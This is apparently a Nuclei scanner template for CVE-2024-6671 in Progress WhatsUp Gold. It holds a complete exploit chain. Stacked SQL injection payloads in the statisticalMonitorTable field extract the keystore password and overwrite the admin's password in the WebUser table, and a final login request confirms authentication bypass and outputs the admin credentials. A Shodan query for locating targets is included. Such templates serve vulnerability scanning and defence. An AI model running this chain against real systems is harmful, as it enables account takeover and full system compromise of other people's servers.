id: CVE-2024-6671

info:
  name: WhatsUp Gold GetStatisticalMonitorList SQL Injection - Authentication Bypass
  author: daffainfo,jjcho
  severity: critical
  description: |
    In WhatsUp Gold versions released before 2024.0.0, if the application is configured with only a single user, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.
  impact: |
    Unauthenticated attackers can exploit SQL injection to retrieve encrypted user passwords, modify admin credentials, and achieve authentication bypass for full system access.
  remediation: |
    Update WhatsUp Gold to version 2024.0.0 or later to address the SQL injection vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-24-1186/
    - https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024
    - https://www.progress.com/network-monitoring
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6671
    cwe-id: CWE-89
    epss-score: 0.14886
    epss-percentile: 0.96269
    cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    shodan-query: title:"WhatsUp Gold" http.favicon.hash:-2107233094
    product: whatsup_gold
    vendor: progress
  tags: cve,cve2024,whatsup-gold,auth-bypass,sqli,intrusive,vkev,vuln

flow: |
  http(1);
  http(2);
  http(3);
  encryptedPassword = template.encryptedPassword
  const cleanedInput = encryptedPassword.replace('psyduck', '').match(/\d+/g);
  const hexValues = cleanedInput.map(value => {
    const num = parseInt(value);
    return isNaN(num) ? '00' : num.toString(16).padStart(2, '0');
  });
  const hexString = hexValues.join('');
  const varbinaryString = '0x' + hexString;
  set("encryptedPassword", varbinaryString);
  http(4) && http(5);

variables:
  username: "admin"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"KeyStorePassword": "{{password}}", "TrustStorePassword": "{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(set_cookie, 'ASP.NET_SessionId=')
        condition: and
        internal: true

  - raw:
      - |
        POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"deviceId":"1234","statisticalMonitorTable":"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache","includeDisabledMonitors":"true","statisticalIdentificationId":"1"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains(body, '[]')
        condition: and
        internal: true

  - raw:
      - |
        GET /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'DisplayName')
        condition: and
        internal: true

    extractors:
      - type: regex
        internal: true
        name: encryptedPassword
        regex:
          - '"psyduck\d+(,\d+)*"'

  - raw:
      - |
        POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"deviceId":"1234","statisticalMonitorTable":"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache","includeDisabledMonitors":"true","statisticalIdentificationId":"1"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, 'application/json')
          - contains(body, '[]')
        condition: and
        internal: true

  - raw:
      - |
        POST /NmConsole/User/LoginAjax HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&rememberMe=false

    matchers:
      - type: word
        part: body
        words:
          - '"authenticated":true'
          - '"username":"'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ username'
          - '"PASS: "+ password'
# digest: 4a0a00473045022100a998cbbf092052bd0b824c212f2983d506bfcdac661225f5add0bcec3a939c20022072b856a810e573f6b8171180d801f523903db5a759ce508bfaf07d7d4c181f8a:922c64590222798bb761d5b6d8e72950